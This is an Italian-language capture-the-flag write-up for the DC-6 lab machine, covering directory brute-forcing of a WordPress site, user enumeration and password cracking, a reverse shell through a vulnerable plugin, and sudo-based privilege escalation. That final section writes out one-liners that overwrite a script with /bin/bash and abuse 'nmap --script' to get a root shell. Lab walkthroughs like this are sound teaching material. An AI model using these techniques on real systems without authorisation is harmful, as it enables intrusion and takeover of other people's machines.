REPORT DC-6

1- INDIVIDUAZIONE TARGET (NETDISCOVER)

```
192.168.1.18 08:00:27:9d:70:2e 18 1080 PCS Systemtechnik GmbH
```

2- SCANSIONE DEI SERVIZI (NMAP)

3- BRUTE FORCING DIRECTORY (GOBUSTER)

```
Gobuster dir -u wordy -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php

Gobuster v3.1.0
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://wordy
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s

2022/06/28 05:11:46 Starting gobuster in directory enumeration mode

//index.php (Status: 301) [Size: 0] [ → http://wordy/]
/wp-content (Status: 301) [Size: 303] [ → http://wordy/wp-content/]
/wp-login.php (Status: 200) [Size: 2808]
/wp-includes (Status: 301) [Size: 304] [ → http://wordy/wp-includes/]
/wp-trackback.php (Status: 200) [Size: 35]
/wp-admin (Status: 301) [Size: 301] [ → http://wordy/wp-admin/]
/xmlrpc.php (Status: 405) [Size: 42]
/wp-signup.php (Status: 302) [Size: 0] [ → http://wordy/wp-login.php?action=register]
/server-status (Status: 403) [Size: 293]
```

4- ENUMERAZIONE USERS (WPSCAN)

5- CRACKING USERS DICTIONARY ATTACK (WPSCAN)

6- COMMAND INJECTION

Dopo varie ricerche arriviamo alla consapevolezza che Activity Monitor è vulnerabile, allora procediamo con l'exploitazione tramite un exploit trovato con "Searchsploit ", che ci permette il remote code execution. Modificando l'exploit riusciamo ad avere una shell inversa all'interno del sistema.

7- STABILIZZAZIONE SHELL METODO PYTHON

python -c 'import pty;pty.spawn("/bin/bash")'

8- PRIVILAGE ESCALATION

Una volta dentro controllando i vari file riusciamo a trovare le credenziali di un altro

utente: GRAHAM.

Con il comando "sudo -l" scopriamo che l'utente GRAHAM può eseguire il file "home/jens/backups.sh" con sudo come JENS e scopriamo anche che può modificarlo.

Sovrascrivendo il file potremmo cambiare utente senza aver bisogno di una password.

Quindi digitiamo:

- echo/bin/bash > backups.sh
- sudo -u jens/home/jens/backups.sh

Una volta loggati come JENS ricontrolliamo con il comando " sudo -l " se può eseguire qualche tool come root senza aver bisogno di una password e notiamo che può eseguire il tool " nmap ".

Dopo alcune ricerche scopriamo che esistono un sacco di metodi per sfruttare " nmap " come root, quindi digitiamo:

- TF=\$(mktemp)
- echo 'os.execute("/bin/sh")'>\$TF
- sudo nmap --script=\$TF

Così facendo riusciamo ad avere una shell interattiva come root. Ci dirigiamo nel percorso "/root" e troviamo l'unica flag del macchina e abbiamo completato il Privilege Escalation!